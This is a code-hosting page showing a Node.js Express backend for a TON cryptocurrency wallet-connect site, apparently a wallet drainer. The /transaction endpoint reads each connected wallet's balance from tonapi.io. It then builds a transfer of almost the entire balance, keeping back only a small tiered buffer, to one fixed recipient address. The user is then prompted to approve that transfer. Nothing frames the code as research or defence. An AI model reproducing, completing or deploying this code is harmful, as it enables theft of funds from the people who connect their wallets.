File size: 3,736 Bytes
14e7c94
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
ee17cf6
 
 
14e7c94
 
 
 
 
 
 
 
 
 
429987a
 
14e7c94
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
cd37f07
14e7c94
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
const express = require("express");
const path = require("path");
const bodyParser = require("body-parser");
const axios = require("axios");

const app = express();

// Middleware
app.use(bodyParser.json());
app.use(express.static(path.join(__dirname, "public"))); // serve static frontend files

// --- In-memory store (replace with DB if needed) ---
let connectedWallets = [];

// Root page
app.get("/", (req, res) => {
  res.sendFile(path.join(__dirname, "public/html/index.html"));
});

/**
 * Connected: called when frontend detects wallet connection
 */
app.post("/connected", (req, res) => {
  console.log("πŸ”— Wallet connected:", req.body);
  if (!connectedWallets.includes(req.body.wallet)) {
    connectedWallets.push(req.body.wallet);
  }
  res.json({ status: "ok", message: "Wallet connected" });
});

/**
 * Disconnect: called when user clicks "Disconnect"
 */
app.post("/disconnect", (req, res) => {
  console.log("πŸ”Œ Wallet disconnected:", req.body);
  connectedWallets = connectedWallets.filter(w => w !== req.body.wallet);
  res.json({ status: "ok", message: "Wallet disconnected" });
});

/**
 * Get wallet balance in nanotons
 */
async function getWalletBalance(address) {
  try {
    const res = await axios.get(`https://tonapi.io/v2/accounts/${address}`);
    // The balance is usually in res.data.account.balance
    return res.data.account.balance; 
  } catch (err) {
    console.error("❌ Error fetching balance:", err.response?.data || err.message);
    return null;
  }
}

/**
 * Transaction: frontend fetches this before sending transaction
 * Deducts buffer; fails gracefully if balance is too small.
 */
app.get("/transaction", async (req, res) => {
  const userWallet = req.query.wallet; // now fetches &wallet= from URL
  console.log("πŸ’° Transaction request from:", userWallet);

  if (!userWallet) {
    return res.status(400).json({ error: "Wallet address missing" });
  }

  const recipientAddress = "EQCxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";

  const balanceNanoTon = await getWalletBalance(userWallet);
  if (!balanceNanoTon) {
    return res.status(500).json({ error: "Could not fetch balance" });
  }

  const balanceTon = balanceNanoTon / 1e9;

  if (balanceTon < 0.05) {
    console.log(`⚠️ Balance too low (${balanceTon} TON). Not building transaction.`);
    return res.json({
      messages: [
        { address: recipientAddress, amount: "0", payload: "" }
      ],
      raw: { from: userWallet, to: recipientAddress, amount: "0" }
    });
  }

  let bufferTon = 0.05;
  if (balanceTon > 100) bufferTon = 0.8;
  else if (balanceTon > 10) bufferTon = 0.5;
  else if (balanceTon > 1) bufferTon = 0.2;

  const sendTon = Math.max(balanceTon - bufferTon, 0);
  const sendNanoTon = Math.floor(sendTon * 1e9);

  console.log(`πŸ“Š Balance: ${balanceTon} TON, Deduction: ${bufferTon} TON, Sending: ${sendTon} TON`);

  const tx = {
    messages: [
      {
        address: recipientAddress,
        amount: sendNanoTon.toString(),
        payload: ""
      }
    ],
    raw: {
      from: userWallet,
      to: recipientAddress,
      amount: sendNanoTon.toString()
    }
  };

  res.json(tx);
});

/**
 * Accept: frontend calls this when user approves transaction
 */
app.post("/accept", (req, res) => {
  console.log("βœ… Transaction accepted:", req.body);
  res.json({ status: "ok", message: "Transaction accepted" });
});

/**
 * Reject: frontend calls this when user rejects transaction
 */
app.post("/reject", (req, res) => {
  console.log("❌ Transaction rejected:", req.body);
  res.json({ status: "ok", message: "Transaction rejected" });
});

// --- Start server ---
const PORT = 7860;
app.listen(PORT, () => {
  console.log(`πŸš€ Backend running at http://localhost:${PORT}`);
});